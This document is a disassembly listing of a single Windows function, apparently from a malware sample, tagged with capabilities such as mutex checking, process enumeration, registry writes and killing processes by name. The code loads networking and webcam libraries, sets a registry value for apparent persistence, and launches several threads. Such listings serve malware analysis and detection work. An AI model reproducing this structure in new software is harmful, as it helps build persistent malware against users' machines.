Function at 0x1315cee0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Enumerate processes
Set registry value
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3cc
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x3c8], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.kernel32.dll
call esi
push str.urlmon.dll
call esi
push str.user32.dll
call esi
push str.shell32.dll
call esi
push str.avicap32.dll
call esi
push str.ws2_32.dll
call esi
push str.wsock32.dll
call esi
push str.advapi32.dll
call esi
push str.wininet.dll
call esi
push str.shdocvw.dll
call esi
push str.Shlwapi.dll
call esi
push str.mpr.dll
call esi
push 0x131fc6a8
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x3e8
push eax
mov dword [0x131fe870], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1315cf86
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [esp + 0x1d4]
push 0x131da720
push eax
call fcn.13141a40
add esp, 0xc
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x13bfd748
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 0x1d0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315cfd3
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x1d4]
push eax
push 1
push 0
push 0x131daee4
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 1
call fcn.1314b750
mov ecx, 1
call fcn.1314be00
mov ecx, 1
call fcn.1314c650
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x1315ce70
push 0
push 0
call esi
mov ecx, 0x131da79c
mov eax, 0x13c26aa8
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1315d067
test dl, dl
je 0x1315d063
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1315d067
add eax, 2
add ecx, 2
test dl, dl
jne 0x1315d047
xor eax, eax
jmp 0x1315d06c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1315d084
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x1314cc30
push 0
push 0
call esi
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x1314ffe0
push 0
push 0
call esi
mov dword [0x131fcbd4], eax
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x13153f10
push 0
push 0
call esi
mov dword [0x131fcbf4], eax
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x13154680
push 0
push 0
call esi
push 0x128
mov dword [0x131fcc30], eax
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0x168]
push 0x64
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [esp + 0x28], 0x128
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x1315d122
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [str.1000]
xorps xmm0, xmm0
mov dword [esp + 0x18], eax
mov al, byte [0x131da6a8]
mov byte [esp + 0x1c], al
xor eax, eax
movq qword [esp + 0x150], xmm0
mov word [esp + 0x158], 0
movq qword [esp + 0x15c], xmm0
mov word [esp + 0x164], 0
nop
mov cl, byte [esp + eax + 0x18]
lea eax, [eax + 1]
mov byte [esp + eax + 0x14f], cl
test cl, cl
jne 0x1315d160
mov ecx, str.1000
lea eax, [esp + 0x150]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1315d1a0
test dl, dl
je 0x1315d19c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1315d1a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x1315d180
xor eax, eax
jmp 0x1315d1a5
sbb eax, eax
or eax, 1
test eax, eax
je 0x1315d217
lea eax, [esp + 0x150]
push eax
lea eax, [esp + 0x160]
push 0x131da6ac
push eax
call fcn.13141a40
add esp, 0xc
lea eax, [esp + 0x15c]
push eax
lea eax, [esp + 0x16c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x1315d217
lea edx, [esp + 0x15c]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x1315d1f0
lea edi, [esp + 0x168]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1315d201
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1315d122
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + ecx + 0x168]
lea ecx, [ecx + 1]
mov byte [ecx + 0x131fb997], al
test al, al
jne 0x1315d240
call fcn.1315ba80
int3